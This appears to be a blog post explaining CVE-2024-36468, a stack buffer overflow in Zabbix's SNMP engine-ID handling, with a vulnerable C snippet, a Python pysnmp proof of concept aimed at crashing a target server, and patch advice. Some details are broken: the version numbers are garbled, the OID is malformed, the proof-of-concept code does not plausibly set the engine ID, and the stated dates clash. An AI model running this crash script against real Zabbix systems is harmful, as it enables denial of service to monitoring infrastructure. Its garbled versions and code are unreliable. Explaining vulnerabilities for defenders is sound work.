---

On June 19, 2024, the Zabbix team published a security advisory about a serious stack buffer overflow, tracked as CVE-2024-36468, in the Zabbix server and proxy. This flaw centers on how Zabbix handles SNMP sessions, putting systems at risk of remote code execution or crashing the server with malicious SNMP packets.

This post distills the technical details in simple language, walks through the vulnerable code, demonstrates a basic proof of concept, and provides links to original references.

What Is Zabbix and Why Does This Matter?

Zabbix is an open-source platform for monitoring networks and infrastructure. It’s widely used in enterprises to keep tabs on servers, switches, routers, and many other connected devices.

The highlighted vulnerability opens up the possibility for remote attackers to crash the server, potentially gain control, or leak sensitive data.

Where’s the Bug? (Technical Breakdown)

The issue lies in the function zbx_snmp_cache_handle_engineid. When handling SNMP events, it copies data from the SNMP session’s securityEngineID field into a local buffer without checking the size. This sets up a classic stack-based buffer overflow.

Vulnerable code snippet (C pseudo-code for clarity)

static void zbx_snmp_cache_handle_engineid(netsnmp_session *session)
{
    struct local_record
    {
        unsigned char engineid[32]; // Fixed-size buffer
        size_t engineid_len;
    } local_record;

    // Potentially large user-supplied data:
    memcpy(local_record.engineid, session->securityEngineID, session->securityEngineIDLen);
    local_record.engineid_len = session->securityEngineIDLen;
    // ...rest of function...
}

The problem:
If session->securityEngineIDLen is larger than 32 (the size of engineid), memcpy writes past the end of the buffer, corrupting the stack.

Severity: High (stack buffer overflow, remotely triggerable)

- Impact: Crash/DoS, information leak, or worst-case, remote code execution

Attack Complexity: Low, requires network access to Zabbix’s SNMP endpoint

- Affected Versions: Zabbix server/proxy 6. to 7. (see official advisory for details)

Here’s simplified Python code showing how an attacker might trigger a crash

from pysnmp.hlapi import *

long_engineid = b'A' * 100  # 100 bytes, overflows buffer of 32

iterator = sendNotification(
    SnmpEngine(),
    CommunityData('public'),
    UdpTransportTarget(('zabbix.target.ip', 161)),
    ContextData(),
    'trap',
    NotificationType(
        ObjectIdentity('1.3.6.1.2.1.1.6.')
    ).addTransportAddress(long_engineid)
)

errorIndication, errorStatus, errorIndex, varBinds = next(iterator)

if errorIndication:
    print(errorIndication)
else:
    print("Packet sent. Check if Zabbix crashed.")

*Note: This is illustrative. In real attacks, the packet might be more carefully crafted, potentially even carrying shellcode.*

- Zabbix Security Advisory ZBX-24131
- NVD CVE Entry (will update with technical analysis)
- Zabbix Release Notes & Patch
- Upstream Patch (GitHub commit) — adds proper buffer-length check

How Can You Fix It?

Solution:

Upgrade to a patched Zabbix version as soon as possible

- Zabbix Server/Proxy 6..32
- Zabbix Server/Proxy 6.4.13
- Zabbix Server/Proxy 7..1

Final Words

CVE-2024-36468 is a serious issue; it’s a vivid reminder of how classic coding mistakes—like unchecked memcpy on fixed buffer—can put even well-known software at risk. If you run Zabbix, patch now and always treat SNMP and similar protocols as potentially dangerous.

Stay safe, patch often!

If you learned something from this, please share this advisory with your sysadmin colleagues.


*Written exclusively for you, with clarity and practical examples. For more, follow the Zabbix security page.*

Timeline

Published on: 11/27/2024 12:15:20 UTC